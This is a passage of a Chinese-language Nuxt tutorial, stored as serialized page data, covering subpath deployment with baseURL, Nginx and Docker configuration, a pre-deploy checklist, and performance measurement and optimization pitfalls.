",[331,15293,15294],{"class":365},"'\u002Fnuxt\u002F'",[331,15296,15297],{"class":337}," },      ",[331,15299,15300],{"class":1003},"\u002F\u002F 注意：首尾都要有斜杠\n",[331,15302,15303,15305,15307,15309,15311],{"class":333,"line":357},[331,15304,11818],{"class":337},[331,15306,1131],{"class":344},[331,15308,11823],{"class":337},[331,15310,5345],{"class":365},[331,15312,15313],{"class":337},"] } }\n",[331,15315,15316],{"class":333,"line":371},[331,15317,5399],{"class":337},[11,15319,15320,15321,272,15324,272,15327,15329,15330,15332,15333,15335,15336,15339,15340,15342],{},"配了这一行，产物里的 ",[22,15322,15323],{},"\u003Cscript src>",[22,15325,15326],{},"\u003Clink href>",[22,15328,4943],{}," 请求路径、",[22,15331,6099],{}," 生成的 URL 全部会带上 ",[22,15334,15137],{}," 前缀（Vite 的 ",[22,15337,15338],{},"base"," 由 ",[22,15341,4576],{}," 自动推导，不需要重复配）。",[11,15344,15345,15348,15349,15352,15353,15355,15356,15358,15359,15362,15363,15366],{},[17,15346,15347],{},"这就是本站最容易复发的一次事故","：把产物拷到 ",[22,15350,15351],{},"nginx\u002Fhtml\u002Fnuxt\u002F"," 目录，但 ",[22,15354,8844],{}," 仍是默认的 ",[22,15357,655],{},"，结果 ",[22,15360,15361],{},"index.html"," 能返回、资源却去根路径请求 → 白屏 + 一堆 404，看起来像「Nuxt 有问题」。",[17,15364,15365],{},"判定方法很简单","：查看源码，资源前缀必须和访问前缀一致。示例 08 就是这个检查器。",[4748,15368],{"height":6589,"src":15369,"title":15370},"\u002Ftutorials\u002Fnuxt\u002Fdemos\u002F08-deploy-check.html","示例 08：baseURL × 部署目录 → 资源路径与 404 判定",[53,15372,15374],{"id":15373},"nginx-配置history-路由-静态产物","Nginx 配置（history 路由 + 静态产物）",[308,15376,15380],{"className":15377,"code":15378,"language":15379,"meta":314,"style":314},"language-nginx shiki shiki-themes github-dark","# 场景：产物在 \u002Fusr\u002Fshare\u002Fnginx\u002Fhtml\u002Fnuxt，站点访问 \u002Fnuxt\u002F\nlocation \u002Fnuxt\u002F {\n  alias \u002Fusr\u002Fshare\u002Fnginx\u002Fhtml\u002Fnuxt\u002F;\n  # 1) 静态文件优先；2) 未知路径回落到本站 index.html；3) 都没有则 404\n  try_files $uri $uri\u002F $uri.html \u002Fnuxt\u002Findex.html;\n}\n\n# 若还需要 Nuxt 的服务端接口（build 模式）\nlocation \u002Fnuxt\u002Fapi\u002F {\n  proxy_pass http:\u002F\u002F127.0.0.1:3000\u002Fapi\u002F;\n  proxy_set_header Host $host;\n  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n  proxy_set_header X-Forwarded-Proto $scheme;\n}\n\n# 缓存策略：带哈希的 JS\u002FCSS 可以长期缓存，HTML 与 payload 不能\nlocation \u002Fnuxt\u002F_nuxt\u002F {\n  expires 1y;\n  add_header Cache-Control \"public, immutable\";\n}\n","nginx",[22,15381,15382,15387,15392,15397,15402,15407,15411,15415,15420,15425,15430,15435,15440,15445,15449,15453,15458,15463,15468,15473],{"__ignoreMap":314},[331,15383,15384],{"class":333,"line":334},[331,15385,15386],{},"# 场景：产物在 \u002Fusr\u002Fshare\u002Fnginx\u002Fhtml\u002Fnuxt，站点访问 \u002Fnuxt\u002F\n",[331,15388,15389],{"class":333,"line":341},[331,15390,15391],{},"location \u002Fnuxt\u002F {\n",[331,15393,15394],{"class":333,"line":357},[331,15395,15396],{},"  alias \u002Fusr\u002Fshare\u002Fnginx\u002Fhtml\u002Fnuxt\u002F;\n",[331,15398,15399],{"class":333,"line":371},[331,15400,15401],{},"  # 1) 静态文件优先；2) 未知路径回落到本站 index.html；3) 都没有则 404\n",[331,15403,15404],{"class":333,"line":384},[331,15405,15406],{},"  try_files $uri $uri\u002F $uri.html \u002Fnuxt\u002Findex.html;\n",[331,15408,15409],{"class":333,"line":397},[331,15410,459],{},[331,15412,15413],{"class":333,"line":418},[331,15414,998],{"emptyLinePlaceholder":997},[331,15416,15417],{"class":333,"line":427},[331,15418,15419],{},"# 若还需要 Nuxt 的服务端接口（build 模式）\n",[331,15421,15422],{"class":333,"line":439},[331,15423,15424],{},"location \u002Fnuxt\u002Fapi\u002F {\n",[331,15426,15427],{"class":333,"line":450},[331,15428,15429],{},"  proxy_pass http:\u002F\u002F127.0.0.1:3000\u002Fapi\u002F;\n",[331,15431,15432],{"class":333,"line":456},[331,15433,15434],{},"  proxy_set_header Host $host;\n",[331,15436,15437],{"class":333,"line":775},[331,15438,15439],{},"  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n",[331,15441,15442],{"class":333,"line":785},[331,15443,15444],{},"  proxy_set_header X-Forwarded-Proto $scheme;\n",[331,15446,15447],{"class":333,"line":795},[331,15448,459],{},[331,15450,15451],{"class":333,"line":805},[331,15452,998],{"emptyLinePlaceholder":997},[331,15454,15455],{"class":333,"line":819},[331,15456,15457],{},"# 缓存策略：带哈希的 JS\u002FCSS 可以长期缓存，HTML 与 payload 不能\n",[331,15459,15460],{"class":333,"line":850},[331,15461,15462],{},"location \u002Fnuxt\u002F_nuxt\u002F {\n",[331,15464,15465],{"class":333,"line":886},[331,15466,15467],{},"  expires 1y;\n",[331,15469,15470],{"class":333,"line":909},[331,15471,15472],{},"  add_header Cache-Control \"public, immutable\";\n",[331,15474,15475],{"class":333,"line":918},[331,15476,459],{},[11,15478,15479],{},"三条要点：",[1773,15481,15482,15494,15502],{},[1662,15483,15484,4839,15490,15493],{},[17,15485,15486,15489],{},[22,15487,15488],{},"try_files"," 的回落地址必须带子路径",[22,15491,15492],{},"\u002Fnuxt\u002Findex.html","），否则刷新子页面时被回落到站点根的那个应用。",[1662,15495,15496,15501],{},[17,15497,15498,15500],{},[22,15499,4943],{}," 与 HTML 不能长期缓存","，否则改了内容用户还是旧数据（payload 与页面绑定，版本不一致会导致数据错位）。",[1662,15503,15504,15512,15513,5160,15515,15518,15519,15522,15523,15526],{},[17,15505,15506,4809,15509,15511],{},[22,15507,15508],{},"alias",[22,15510,15488],{}," 的组合有历史坑","：某些 Nginx 版本下 ",[22,15514,15508],{},[22,15516,15517],{},"try_files $uri\u002F"," 会 404。若怎么配都不对，改用 ",[22,15520,15521],{},"root"," 方案（把产物放到 ",[22,15524,15525],{},"\u003Croot>\u002Fnuxt\u002F","）最稳。",[53,15528,15530,15531,5149],{"id":15529},"服务端模式部署nuxt-build","服务端模式部署（",[22,15532,4808],{},[308,15534,15536],{"className":3902,"code":15535,"language":3904,"meta":314,"style":314},"node .output\u002Fserver\u002Findex.mjs        # 默认 3000\nPORT=8080 NITRO_HOST=0.0.0.0 node .output\u002Fserver\u002Findex.mjs\n",[22,15537,15538,15549],{"__ignoreMap":314},[331,15539,15540,15543,15546],{"class":333,"line":334},[331,15541,15542],{"class":501},"node",[331,15544,15545],{"class":365}," .output\u002Fserver\u002Findex.mjs",[331,15547,15548],{"class":1003},"        # 默认 3000\n",[331,15550,15551,15554,15556,15559,15562,15564,15567,15570],{"class":333,"line":341},[331,15552,15553],{"class":337},"PORT",[331,15555,518],{"class":616},[331,15557,15558],{"class":365},"8080",[331,15560,15561],{"class":337}," NITRO_HOST",[331,15563,518],{"class":616},[331,15565,15566],{"class":365},"0.0.0.0",[331,15568,15569],{"class":501}," node",[331,15571,15572],{"class":365}," .output\u002Fserver\u002Findex.mjs\n",[308,15574,15578],{"className":15575,"code":15576,"language":15577,"meta":314,"style":314},"language-dockerfile shiki shiki-themes github-dark","# 单阶段版（简单）；生产建议用多阶段 + nitro 的 docker preset\nFROM node:22-alpine\nWORKDIR \u002Fapp\nCOPY .output .\u002F\nENV NITRO_HOST=0.0.0.0 PORT=3000\nEXPOSE 3000\nCMD [\"node\", \".\u002Fserver\u002Findex.mjs\"]\n","dockerfile",[22,15579,15580,15585,15590,15595,15600,15605,15610],{"__ignoreMap":314},[331,15581,15582],{"class":333,"line":334},[331,15583,15584],{},"# 单阶段版（简单）；生产建议用多阶段 + nitro 的 docker preset\n",[331,15586,15587],{"class":333,"line":341},[331,15588,15589],{},"FROM node:22-alpine\n",[331,15591,15592],{"class":333,"line":357},[331,15593,15594],{},"WORKDIR \u002Fapp\n",[331,15596,15597],{"class":333,"line":371},[331,15598,15599],{},"COPY .output .\u002F\n",[331,15601,15602],{"class":333,"line":384},[331,15603,15604],{},"ENV NITRO_HOST=0.0.0.0 PORT=3000\n",[331,15606,15607],{"class":333,"line":397},[331,15608,15609],{},"EXPOSE 3000\n",[331,15611,15612],{"class":333,"line":418},[331,15613,15614],{},"CMD [\"node\", \".\u002Fserver\u002Findex.mjs\"]\n",[11,15616,15617,15619,15620,272,15623,15626,15627,15629],{},[22,15618,4808],{}," 模式下别忘了：",[22,15621,15622],{},"NITRO_...",[22,15624,15625],{},"NUXT_..."," 环境变量在容器里注入（第八章），别把 ",[22,15628,11149],{}," 拷进镜像。",[53,15631,15632],{"id":15632},"部署前逐项核对",[57,15634,15635,15645],{},[60,15636,15637],{},[63,15638,15639,15642],{},[66,15640,15641],{},"检查",[66,15643,15644],{},"命令\u002F方法",[79,15646,15647,15661,15669,15677,15687,15697,15709],{},[63,15648,15649,15652],{},[84,15650,15651],{},"资源前缀正确",[84,15653,15654,15655,15657,15658,15660],{},"查看产物 ",[22,15656,15361],{}," 源码，",[22,15659,15323],{}," 前缀 = 访问前缀",[63,15662,15663,15666],{},[84,15664,15665],{},"全部路由都生成了",[84,15667,15668],{},"`find .output\u002Fpublic -name '*.html'",[63,15670,15671,15674],{},[84,15672,15673],{},"无未预渲染的 404",[84,15675,15676],{},"逐个访问列表页里的链接；sitemap 条数一致",[63,15678,15679,15682],{},[84,15680,15681],{},"密钥没进产物",[84,15683,15684],{},[22,15685,15686],{},"grep -r \"sk-|password\" .output\u002Fpublic",[63,15688,15689,15692],{},[84,15690,15691],{},"sitemap \u002F robots 域名正确",[84,15693,15694],{},[22,15695,15696],{},"curl https:\u002F\u002Fsite.com\u002Fnuxt\u002Fsitemap.xml",[63,15698,15699,15702],{},[84,15700,15701],{},"history 刷新正常",[84,15703,15704,15705,15708],{},"直接访问 ",[22,15706,15707],{},"\u002Fnuxt\u002Ftutorials\u002Fvue3"," 回车",[63,15710,15711,15714],{},[84,15712,15713],{},"meta 是真实内容",[84,15715,15716],{},"`curl -s URL",[53,15718,4796],{"id":15719},"️-本章的坑-12",[11,15721,15722,15727],{},[17,15723,8723,15724,15726],{},[22,15725,8844],{}," 与访问路径不一致","（本站真实事故，上面整段就是为它写的）。",[11,15729,15730,268,15733,15736,15737,15740,15741,322,15744,161],{},[17,15731,15732],{},"2. 子路径少写一个斜杠。",[22,15734,15735],{},"'\u002Fnuxt'"," 会拼成 ",[22,15738,15739],{},"\u002Fnuxtindex.js"," 这种东西。",[17,15742,15743],{},"首尾都要斜杠",[22,15745,15294],{},[11,15747,15748,15753,15754,15757,15758,15761],{},[17,15749,6665,15750,15752],{},[22,15751,12235],{}," 后仍然有服务端接口需求。"," 静态产物里的 ",[22,15755,15756],{},"\u002Fapi\u002F*"," 不存在。需要接口就换 ",[22,15759,15760],{},"build"," 模式或把接口挪到别的服务 + Nginx 反代。",[11,15763,15764,15767,15768,15771,15772,15775],{},[17,15765,15766],{},"4. HTML 被 CDN 缓存。"," 改了内容线上不变，还「有时对有时错」。给 HTML 明确 ",[22,15769,15770],{},"Cache-Control: no-cache","，带哈希的 ",[22,15773,15774],{},"_nuxt\u002F*"," 才用长期缓存。",[11,15777,15778,15783,15784,6385,15786,15789,15790,322,15793,15796],{},[17,15779,9903,15780,15782],{},[22,15781,7735],{}," 没接上。"," Nginx 需要 ",[22,15785,7739],{},[22,15787,15788],{},"internal","），否则未知路径回落 index 时返回 200（软 404，对 SEO 有害）。",[17,15791,15792],{},"软 404 检查方法",[22,15794,15795],{},"curl -I https:\u002F\u002Fsite\u002Fnuxt\u002F不存在","，状态码必须是 404。",[11,15798,15799,268,15802,15804],{},[17,15800,15801],{},"6. 环境变量在构建期固化。",[22,15803,11408],{}," 值改不了「一份产物跑多环境」，只能重新 generate（第八章第 6 条）。",[11,15806,15807,15813,15814],{},[17,15808,15809,15810,15812],{},"7. 本地 ",[22,15811,5116],{}," 正常，线上不同步。"," preview 的 base 处理与真 Nginx 不完全一样。",[17,15815,15816],{},"最终以「产物直接放进目标目录」为准做一次真机验证。",[11,15818,15819,15822],{},[17,15820,15821],{},"8. Windows 上构建的大小写问题。"," 本地能 build 过、Linux 容器里失败，八成是 import 路径大小写（《Vue 3 教程》第十八章第 1 条同款）。",[53,15824,15826],{"id":15825},"附常用部署配置速查","附：常用部署配置速查",[57,15828,15829,15837],{},[60,15830,15831],{},[63,15832,15833,15835],{},[66,15834,11978],{},[66,15836,7759],{},[79,15838,15839,15849,15862,15872,15882,15892,15902,15912],{},[63,15840,15841,15846],{},[84,15842,15843],{},[22,15844,15845],{},"app: { baseURL: '\u002Fnuxt\u002F' }",[84,15847,15848],{},"站点访问前缀（资源 + 路由 + payload 全靠它）",[63,15850,15851,15856],{},[84,15852,15853],{},[22,15854,15855],{},"app: { cdnURL: 'https:\u002F\u002Fcdn.x.com' }",[84,15857,15858,15859,15861],{},"把 ",[22,15860,15774],{}," 指到 CDN",[63,15863,15864,15869],{},[84,15865,15866],{},[22,15867,15868],{},"nitro: { prerender: { crawlLinks, routes, concurrency } }",[84,15870,15871],{},"静态生成的范围与并发",[63,15873,15874,15879],{},[84,15875,15876],{},[22,15877,15878],{},"nitro: { static: true }",[84,15880,15881],{},"明确纯静态（不生成 server 逻辑）",[63,15883,15884,15889],{},[84,15885,15886],{},[22,15887,15888],{},"nitro: { output: { dir } }",[84,15890,15891],{},"改产物目录（方便 CI 直接拷）",[63,15893,15894,15899],{},[84,15895,15896],{},[22,15897,15898],{},"nitro: { preset: 'static' | 'node_server' | 'docker' }",[84,15900,15901],{},"目标平台",[63,15903,15904,15909],{},[84,15905,15906],{},[22,15907,15908],{},"nitro: { storage: { cache: { driver: 'redis', … } } }",[84,15910,15911],{},"多实例共享缓存（swr 需要）",[63,15913,15914,15919],{},[84,15915,15916],{},[22,15917,15918],{},"routeRules: { '\u002Fx': { prerender: true } }",[84,15920,15921],{},"按路径覆盖生成策略",[48,15923,15925],{"id":15924},"十四性能与产物体积先测再优化","十四、性能与产物体积：先测，再优化",[11,15927,15928],{},"这一章的写法是「先给测量方法，再给手段」——不测量就优化，等于把时间花在猜测上。",[53,15930,15931],{"id":15931},"先学会看三个数",[308,15933,15935],{"className":3902,"code":15934,"language":3904,"meta":314,"style":314},"# 1) 产物体积构成\nnpx nuxtanalyze            # 生成一份可视化报告（旧名 nuxi analyze）\nnpx vite-bundle-visualizer # 或者直接看 Vite 产物\n\n# 2) 首屏 HTML 里有没有正文（判断 SSR\u002F预渲染是否真的生效）\ncurl -s https:\u002F\u002Fsite\u002Fnuxt\u002Ftutorials\u002Fvue3 | head -c 2000\n\n# 3) payload 有多大（SSR 数据序列化的代价）\nls -la .output\u002Fpublic\u002Ftutorials\u002Fvue3\u002F_payload.json\n",[22,15936,15937,15942,15952,15962,15966,15971,15994,15998,16003],{"__ignoreMap":314},[331,15938,15939],{"class":333,"line":334},[331,15940,15941],{"class":1003},"# 1) 产物体积构成\n",[331,15943,15944,15946,15949],{"class":333,"line":341},[331,15945,4966],{"class":501},[331,15947,15948],{"class":365}," nuxtanalyze",[331,15950,15951],{"class":1003},"            # 生成一份可视化报告（旧名 nuxi analyze）\n",[331,15953,15954,15956,15959],{"class":333,"line":357},[331,15955,4966],{"class":501},[331,15957,15958],{"class":365}," vite-bundle-visualizer",[331,15960,15961],{"class":1003}," # 或者直接看 Vite 产物\n",[331,15963,15964],{"class":333,"line":371},[331,15965,998],{"emptyLinePlaceholder":997},[331,15967,15968],{"class":333,"line":384},[331,15969,15970],{"class":1003},"# 2) 首屏 HTML 里有没有正文（判断 SSR\u002F预渲染是否真的生效）\n",[331,15972,15973,15976,15979,15982,15985,15988,15991],{"class":333,"line":397},[331,15974,15975],{"class":501},"curl",[331,15977,15978],{"class":344}," -s",[331,15980,15981],{"class":365}," https:\u002F\u002Fsite\u002Fnuxt\u002Ftutorials\u002Fvue3",[331,15983,15984],{"class":616}," |",[331,15986,15987],{"class":501}," head",[331,15989,15990],{"class":344}," -c",[331,15992,15993],{"class":344}," 2000\n",[331,15995,15996],{"class":333,"line":418},[331,15997,998],{"emptyLinePlaceholder":997},[331,15999,16000],{"class":333,"line":427},[331,16001,16002],{"class":1003},"# 3) payload 有多大（SSR 数据序列化的代价）\n",[331,16004,16005,16008,16011],{"class":333,"line":439},[331,16006,16007],{"class":501},"ls",[331,16009,16010],{"class":344}," -la",[331,16012,16013],{"class":365}," .output\u002Fpublic\u002Ftutorials\u002Fvue3\u002F_payload.json\n",[11,16015,16016,16017,16020,16021,16024,16025,16028],{},"Chrome DevTools 里看三个指标就够：",[17,16018,16019],{},"FCP","（首屏有内容）、",[17,16022,16023],{},"TTI","（能交互，水合完成的时刻）、",[17,16026,16027],{},"Total JS","（下载量）。SSR 优化的是 FCP，代码分割优化的是 TTI 和下载量。",[53,16030,16032],{"id":16031},"有效的手段按性价比排","有效的手段（按性价比排）",[57,16034,16035,16046],{},[60,16036,16037],{},[63,16038,16039,16041,16043],{},[66,16040,14269],{},[66,16042,3720],{},[66,16044,16045],{},"收益",[79,16047,16048,16066,16083,16098,16119,16133,16144,16163,16177,16194],{},[63,16049,16050,16053,16063],{},[84,16051,16052],{},"路由级懒加载",[84,16054,16055,16056,16058,16059,16062],{},"Nuxt 默认对 ",[22,16057,4842],{}," 组件做了；确认 ",[22,16060,16061],{},"import()"," 没被手写静态引入破坏",[84,16064,16065],{},"首屏 JS 大幅下降",[63,16067,16068,16071,16080],{},[84,16069,16070],{},"别用 barrel 文件",[84,16072,16073,5760,16076,16079],{},[22,16074,16075],{},"app\u002Fcomponents\u002Findex.ts",[22,16077,16078],{},"export * from '.\u002FA'"," 会把整个目录拖进依赖图",[84,16081,16082],{},"保住 tree-shaking",[63,16084,16085,16088,16095],{},[84,16086,16087],{},"只取需要的字段",[84,16089,16090,1901,16093],{},[22,16091,16092],{},"useFetch(url, { pick: ['id','title'] })",[22,16094,8790],{},[84,16096,16097],{},"payload 与网络双降",[63,16099,16100,16103,16116],{},[84,16101,16102],{},"图片交给构建",[84,16104,16105,16106,4839,16109,16112,16113,16115],{},"用 ",[22,16107,16108],{},"@nuxt\u002Fimage",[22,16110,16111],{},"\u003CNuxtImg>","）或 ",[22,16114,5180],{}," + 导入",[84,16117,16118],{},"自动格式\u002F尺寸\u002F懒加载",[63,16120,16121,16124,16130],{},[84,16122,16123],{},"重组件异步化",[84,16125,16126,16129],{},[22,16127,16128],{},"defineAsyncComponent(() => import('…'))","（图表、编辑器、地图）",[84,16131,16132],{},"首屏不含重组件",[63,16134,16135,16138,16141],{},[84,16136,16137],{},"列表裁剪",[84,16139,16140],{},"长列表分页\u002F虚拟滚动（《Vue 3 教程》第十一章）",[84,16142,16143],{},"渲染耗时",[63,16145,16146,16149,16160],{},[84,16147,16148],{},"静态内容别 SSR 两遍",[84,16150,16151,16152,1901,16155,16157,16158],{},"纯静态子树用 ",[22,16153,16154],{},"v-memo",[22,16156,7850],{}," 慎用；优先 ",[22,16159,12473],{},[84,16161,16162],{},"CPU + 水合成本",[63,16164,16165,16168,16174],{},[84,16166,16167],{},"依赖预打包检查",[84,16169,16170,16173],{},[22,16171,16172],{},"vite: { optimizeDeps: { include: [...] } }"," 只对 dev 生效",[84,16175,16176],{},"开发体验",[63,16178,16179,16182,16191],{},[84,16180,16181],{},"第三方脚本延后",[84,16183,16184,16186,16187,16190],{},[22,16185,5488],{}," 里给 ",[22,16188,16189],{},"defer","，或改成用户触发后再注入",[84,16192,16193],{},"TBT（阻塞时长）",[63,16195,16196,16199,16208],{},[84,16197,16198],{},"关 devtools\u002F分析包",[84,16200,16201,16204,16205],{},[22,16202,16203],{},"devtools: { enabled: false }"," 生产无影响但别忘 ",[22,16206,16207],{},"sourcemap: false",[84,16209,16210],{},"体积与泄露",[53,16212,16213],{"id":16213},"水合相关的两个具体做法",[11,16215,16216,16219,16220,16222,16223,16225],{},[17,16217,16218],{},"首屏之外的东西别水合。"," 大列表的下半部分、页脚的动态内容可以用 ",[22,16221,5494],{}," \u002F 纯静态渲染减少水合成本；",[22,16224,7850],{}," 是逃生舱不是常规手段（它会让 SSR HTML 变空）。",[11,16227,16228,322],{},[17,16229,16230],{},"hydration mismatch 的三类源头",[308,16232,16234],{"className":5996,"code":16233,"language":5998,"meta":314,"style":314},"\u003C!-- 1) 服务端与客户端算出不同结果 -->\n\u003Cp>{{ Date.now() }}\u003C\u002Fp>                      \u003C!-- ✗ 每次都不同 -->\n\u003Cp>{{ Math.random() }}\u003C\u002Fp>                    \u003C!-- ✗ -->\n\u003Cp>{{ localStorage.getItem('theme') }}\u003C\u002Fp>    \u003C!-- ✗ 服务端没有 -->\n\n\u003C!-- 2) 服务端 HTML 结构被浏览器改了 -->\n\u003Ctbody>\u003Ctr>…\u003C\u002Ftr>\u003C\u002Ftbody>   \u003C!-- 浏览器会把非法嵌套修一遍，水合就对不上 -->\n\n\u003C!-- 3) 内联脚本提前改了 DOM（本站的主题脚本是刻意这么做的，它只写 \u003Chtml> 属性，不动正文） -->\n",[22,16235,16236,16241,16258,16275,16292,16296,16301,16318,16322],{"__ignoreMap":314},[331,16237,16238],{"class":333,"line":334},[331,16239,16240],{"class":1003},"\u003C!-- 1) 服务端与客户端算出不同结果 -->\n",[331,16242,16243,16245,16247,16250,16252,16255],{"class":333,"line":341},[331,16244,510],{"class":337},[331,16246,11],{"class":497},[331,16248,16249],{"class":337},">{{ Date.now() }}\u003C\u002F",[331,16251,11],{"class":497},[331,16253,16254],{"class":337},">                      ",[331,16256,16257],{"class":1003},"\u003C!-- ✗ 每次都不同 -->\n",[331,16259,16260,16262,16264,16267,16269,16272],{"class":333,"line":357},[331,16261,510],{"class":337},[331,16263,11],{"class":497},[331,16265,16266],{"class":337},">{{ Math.random() }}\u003C\u002F",[331,16268,11],{"class":497},[331,16270,16271],{"class":337},">                    ",[331,16273,16274],{"class":1003},"\u003C!-- ✗ -->\n",[331,16276,16277,16279,16281,16284,16286,16289],{"class":333,"line":371},[331,16278,510],{"class":337},[331,16280,11],{"class":497},[331,16282,16283],{"class":337},">{{ localStorage.getItem('theme') }}\u003C\u002F",[331,16285,11],{"class":497},[331,16287,16288],{"class":337},">    ",[331,16290,16291],{"class":1003},"\u003C!-- ✗ 服务端没有 -->\n",[331,16293,16294],{"class":333,"line":384},[331,16295,998],{"emptyLinePlaceholder":997},[331,16297,16298],{"class":333,"line":397},[331,16299,16300],{"class":1003},"\u003C!-- 2) 服务端 HTML 结构被浏览器改了 -->\n",[331,16302,16303,16305,16307,16310,16312,16315],{"class":333,"line":418},[331,16304,510],{"class":337},[331,16306,79],{"class":497},[331,16308,16309],{"class":337},">\u003Ctr>…\u003C\u002Ftr>\u003C\u002F",[331,16311,79],{"class":497},[331,16313,16314],{"class":337},">   ",[331,16316,16317],{"class":1003},"\u003C!-- 浏览器会把非法嵌套修一遍，水合就对不上 -->\n",[331,16319,16320],{"class":333,"line":427},[331,16321,998],{"emptyLinePlaceholder":997},[331,16323,16324],{"class":333,"line":439},[331,16325,16326],{"class":1003},"\u003C!-- 3) 内联脚本提前改了 DOM（本站的主题脚本是刻意这么做的，它只写 \u003Chtml> 属性，不动正文） -->\n",[11,16328,16329,16330,16332,16333,16335],{},"修不了就用 ",[22,16331,7850],{}," 包住那一小块，或用 ",[22,16334,6734],{}," 之后再赋值（并接受那块没有 SSR 正文）。",[53,16337,16339],{"id":16338},"测量清单本站用过的","测量清单（本站用过的）",[308,16341,16343],{"className":3902,"code":16342,"language":3904,"meta":314,"style":314},"# 首屏 HTML 是否含正文\ncurl -s URL | grep -c 'article__body'\n\n# 有多少个 JS 文件、总大小\nfind .output\u002Fpublic\u002F_nuxt -name '*.js' | xargs du -ch | tail -1\n\n# 预渲染页数量是否等于路由数\nfind .output\u002Fpublic -name '*.html' | wc -l\n\n# 单个页面 payload 体积\ndu -h .output\u002Fpublic\u002Ftutorials\u002Fvue3\u002F_payload.json\n",[22,16344,16345,16350,16369,16373,16378,16411,16415,16420,16440,16444,16449],{"__ignoreMap":314},[331,16346,16347],{"class":333,"line":334},[331,16348,16349],{"class":1003},"# 首屏 HTML 是否含正文\n",[331,16351,16352,16354,16356,16359,16361,16364,16366],{"class":333,"line":341},[331,16353,15975],{"class":501},[331,16355,15978],{"class":344},[331,16357,16358],{"class":365}," URL",[331,16360,15984],{"class":616},[331,16362,16363],{"class":501}," grep",[331,16365,15990],{"class":344},[331,16367,16368],{"class":365}," 'article__body'\n",[331,16370,16371],{"class":333,"line":357},[331,16372,998],{"emptyLinePlaceholder":997},[331,16374,16375],{"class":333,"line":371},[331,16376,16377],{"class":1003},"# 有多少个 JS 文件、总大小\n",[331,16379,16380,16383,16386,16389,16392,16394,16397,16400,16403,16405,16408],{"class":333,"line":384},[331,16381,16382],{"class":501},"find",[331,16384,16385],{"class":365}," .output\u002Fpublic\u002F_nuxt",[331,16387,16388],{"class":344}," -name",[331,16390,16391],{"class":365}," '*.js'",[331,16393,15984],{"class":616},[331,16395,16396],{"class":501}," xargs",[331,16398,16399],{"class":365}," du",[331,16401,16402],{"class":344}," -ch",[331,16404,15984],{"class":616},[331,16406,16407],{"class":501}," tail",[331,16409,16410],{"class":344}," -1\n",[331,16412,16413],{"class":333,"line":397},[331,16414,998],{"emptyLinePlaceholder":997},[331,16416,16417],{"class":333,"line":418},[331,16418,16419],{"class":1003},"# 预渲染页数量是否等于路由数\n",[331,16421,16422,16424,16427,16429,16432,16434,16437],{"class":333,"line":427},[331,16423,16382],{"class":501},[331,16425,16426],{"class":365}," .output\u002Fpublic",[331,16428,16388],{"class":344},[331,16430,16431],{"class":365}," '*.html'",[331,16433,15984],{"class":616},[331,16435,16436],{"class":501}," wc",[331,16438,16439],{"class":344}," -l\n",[331,16441,16442],{"class":333,"line":439},[331,16443,998],{"emptyLinePlaceholder":997},[331,16445,16446],{"class":333,"line":450},[331,16447,16448],{"class":1003},"# 单个页面 payload 体积\n",[331,16450,16451,16454,16457],{"class":333,"line":456},[331,16452,16453],{"class":501},"du",[331,16455,16456],{"class":344}," -h",[331,16458,16013],{"class":365},[4748,16460],{"height":5635,"src":8706,"title":16461},"示例 05（回看）：数据取几次、payload 里装了什么",[53,16463,4796],{"id":16464},"️-本章的坑-13",[11,16466,16467,16472],{},[17,16468,16469,16470,161],{},"1. 为了「优化」把正文塞进 ",[22,16471,7850],{}," 首屏 HTML 空了，SEO 与 FCP 双输。SSR 是内容站的基本盘，客户端只留「真的依赖浏览器」的部分。",[11,16474,16475,16480],{},[17,16476,5672,16477,16479],{},[22,16478,8787],{}," 忘用，payload 几 MB。"," 移动端下载 payload 的时间可能比接口本身还长（第五章第 4 条）。",[11,16482,16483,16490,16491,16494,16495],{},[17,16484,16485,16486,16489],{},"3. barrel ",[22,16487,16488],{},"index.ts"," 让 tree-shaking 失效。"," 一个 ",[22,16492,16493],{},"export * from '.\u002Fall-charts'"," 能把 400KB 拖进首屏。",[17,16496,16497],{},"目录里请直接 import 具体文件。",[11,16499,16500,16507,16508,16511,16512,161],{},[17,16501,16502,16503,16506],{},"4. 手写 ",[22,16504,16505],{},"import Chart from 'echarts'"," 破坏了懒加载。"," 重组件请 ",[22,16509,16510],{},"defineAsyncComponent","，或在事件回调里 ",[22,16513,14974],{},[11,16515,16516,16519,16520,16522],{},[17,16517,16518],{},"5. 生产开了 sourcemap。"," 体积翻倍且把源码结构泄露出去。",[22,16521,16207],{},"（或用平台托管的隐藏 sourcemap）。",[11,16524,16525,16531,16532,161],{},[17,16526,16527,16528,16530],{},"6. 图片放在 ",[22,16529,5180],{}," 里指望自动压缩。"," Nuxt 默认只做哈希与内联阈值，不改尺寸不转格式。响应式图片要 ",[22,16533,16108],{},[11,16535,16536,16539,16540,16543,16544,4809,16546,161],{},[17,16537,16538],{},"7. 字体导致布局抖动。"," 没写 ",[22,16541,16542],{},"font-display: swap"," \u002F 没有 fallback 尺寸，文字会「跳一下」（CLS 变差）。字体建议 ",[22,16545,4852],{},[22,16547,16548],{},"\u003Clink rel=\"preload\">",[11,16550,16551,16554,16555,16558],{},[17,16552,16553],{},"8. 只优化了自己的代码，没管第三方。"," 一个统计脚本就能吃掉 200KB。上线前用 ",[22,16556,16557],{},"nuxtanalyze"," 看第一屏柱子——通常最大那根不是你的代码。",[11,16560,16561,16567,16568,655,16570,4809,16572,16575],{},[17,16562,16563,16564,16566],{},"9. 拿 ",[22,16565,5058],{}," 的速度判断生产。"," dev 有未压缩与中间件开销，冷热差异极大。任何性能结论以 ",[22,16569,4808],{},[22,16571,12235],{},[22,16573,16574],{},"preview","（或真环境）为准。",[53,16577,16579],{"id":16578},"附性能问题定位顺序","附：性能问题定位顺序",[57,16581,16582,16594],{},[60,16583,16584],{},[63,16585,16586,16588,16591],{},[66,16587,4163],{},[66,16589,16590],{},"先看什么",[66,16592,16593],{},"常见根因",[79,16595,16596,16611,16622,16633,16647,16661],{},[63,16597,16598,16601,16604],{},[84,16599,16600],{},"白屏时间长",[84,16602,16603],{},"FCP \u002F HTML 是否含正文",[84,16605,16606,16607,16610],{},"没 SSR（",[22,16608,16609],{},"ssr:false","）、SSR 阶段接口慢",[63,16612,16613,16616,16619],{},[84,16614,16615],{},"有内容但点不动",[84,16617,16618],{},"TTI \u002F 水合耗时",[84,16620,16621],{},"JS 体积大、组件树深、水合数据大",[63,16623,16624,16627,16630],{},[84,16625,16626],{},"图片\u002F字体闪烁",[84,16628,16629],{},"资源是否内联、preload",[84,16631,16632],{},"关键 